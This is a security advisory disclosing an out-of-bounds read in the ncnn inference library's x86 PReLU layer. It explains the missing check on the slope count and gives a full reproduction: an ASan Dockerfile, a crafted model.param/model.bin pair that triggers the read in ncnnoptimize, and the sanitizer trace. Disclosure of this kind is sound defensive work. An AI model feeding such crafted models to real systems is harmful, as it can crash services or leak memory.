PReLU Out-of-Bounds Read
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/prelu_x86.cpp:166 in PReLU_x86::forward_inplace
Sanitizer verdict: unknown-crash
Summary
A model can declare a PReLU layer with more than one slope but fewer slopes than the number of packed rows in the tensor it is applied to. The x86 2-D path indexes the slope buffer by row without checking num_slope, so a 1x1000 input (packed to elempack=8, 125 rows) with only two declared slopes makes _mm256_loadu_ps(slope_data + i * 8) read past the slope allocation. ncnnoptimize hits this during shape inference on the attacker-supplied .param/.bin pair and crashes.
Detail
The untrusted field is param key 0 of the PReLU layer. PReLU::load_param stores it as num_slope and PReLU::load_model allocates exactly that many floats (slope_data = mb.load(num_slope, 1);). PReLU_x86::forward_inplace then treats "more than one slope" as "one slope vector per packed row" and derives the offset purely from the row index and the tensor's elempack:
// src/layer/x86/prelu_x86.cpp:152
if (dims == 2)
{
const int size = w * elempack;
#pragma omp parallel for num_threads(opt.num_threads)
for (int i = 0; i < h; i++)
{
float* ptr = bottom_top_blob.row(i);
int j = 0;
float slope = num_slope > 1 ? slope_data[i] : slope_data[0];
#if __SSE2__
__m128 _slope128 = num_slope > 1 && (elempack == 4) ? _mm_loadu_ps((const float*)slope_data + i * 4) : _mm_set1_ps(slope);
#if __AVX__
__m256 _slope256 = num_slope > 1 && (elempack == 8) ? _mm256_loadu_ps((const float*)slope_data + i * 8) : combine4x2_ps(_slope128, _slope128);
The only guard is num_slope > 1; nothing requires num_slope >= h * elempack. The loop bound h belongs to the data tensor.
The PoC declares a 1x1000 FP32 input and num_slope = 2 with two floats in the .bin. 1000 is not a multiple of 16 but is a multiple of 8, so packing yields elempack = 8 and h = 125. The slope buffer is an 84-byte region holding 8 bytes of real data plus the refcount and the 64-byte over-read tail. Row i = 1 reads 32 bytes at offset 32 (still inside the padding); row i = 2 loads slope_data + 16 floats — bytes 64..95 — and crosses the end of the region at 84, which is the read AddressSanitizer reports before ncnnoptimize aborts. Rows up to i = 124 would reach nearly 4 KB past the allocation.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-prelu-out-of-bounds-read && cd ncnn-poc-prelu-out-of-bounds-read
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
cat > model.param <<'POC_EOF'
7767517
2 2
Input data 0 1 data 0=1 1=1000
PReLU prelu 1 1 data output 0=2
POC_EOF
printf '\x00\x00\x80\x3e\x00\x00\x00\x3f' > model.bin
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/tools/ncnnoptimize model.param model.bin out.param out.bin 0
AddressSanitizer output:
shape_inference
=================================================================
==1==ERROR: AddressSanitizer: unknown-crash on address 0x50e000000080 at pc 0x646804783320 bp 0x7ffeb3f2f430 sp 0x7ffeb3f2f420
READ of size 32 at 0x50e000000080 thread T0
#0 0x64680478331f in _mm256_loadu_ps(float const*) /usr/lib/gcc/x86_64-linux-gnu/13/include/avxintrin.h:905
#1 0x64680478331f in ncnn::PReLU_x86_avx512::forward_inplace(ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/prelu_x86_avx512.cpp:166
#2 0x646800f3cfd8 in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:711
#3 0x646800f2fb7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
#4 0x646800f8f9e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
#5 0x646800e213c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
#6 0x646800e9eeee in main /ncnn/tools/ncnnoptimize.cpp:2844
#7 0x7a5d0cec11c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x7a5d0cec128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#9 0x646800e1e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
0x50e000000094 is located 0 bytes after 84-byte region [0x50e000000040,0x50e000000094)
allocated by thread T0 here:
#0 0x7a5d0d53af1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x646800eedbc5 in fastMalloc /ncnn/src/allocator.h:62
#2 0x646800eedbc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
#3 0x646800f22c1a in ncnn::ModelBinFromDataReader::load(int, int) const /ncnn/src/modelbin.cpp:309
#4 0x64680476f266 in ncnn::PReLU::load_model(ncnn::ModelBin const&) /ncnn/src/layer/prelu.cpp:23
#5 0x646800f8aa84 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2080
#6 0x646800f8b90a in ncnn::Net::load_model(_IO_FILE*) /ncnn/src/net.cpp:2257
#7 0x646800f8bc91 in ncnn::Net::load_model(char const*) /ncnn/src/net.cpp:2292
#8 0x646800e9ecaf in main /ncnn/tools/ncnnoptimize.cpp:2797
#9 0x7a5d0cec11c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#10 0x7a5d0cec128a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#11 0x646800e1e624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)
SUMMARY: AddressSanitizer: unknown-crash /usr/lib/gcc/x86_64-linux-gnu/13/include/avxintrin.h:905 in _mm256_loadu_ps(float const*)
Credit
Zheng Yu @ DepthFirst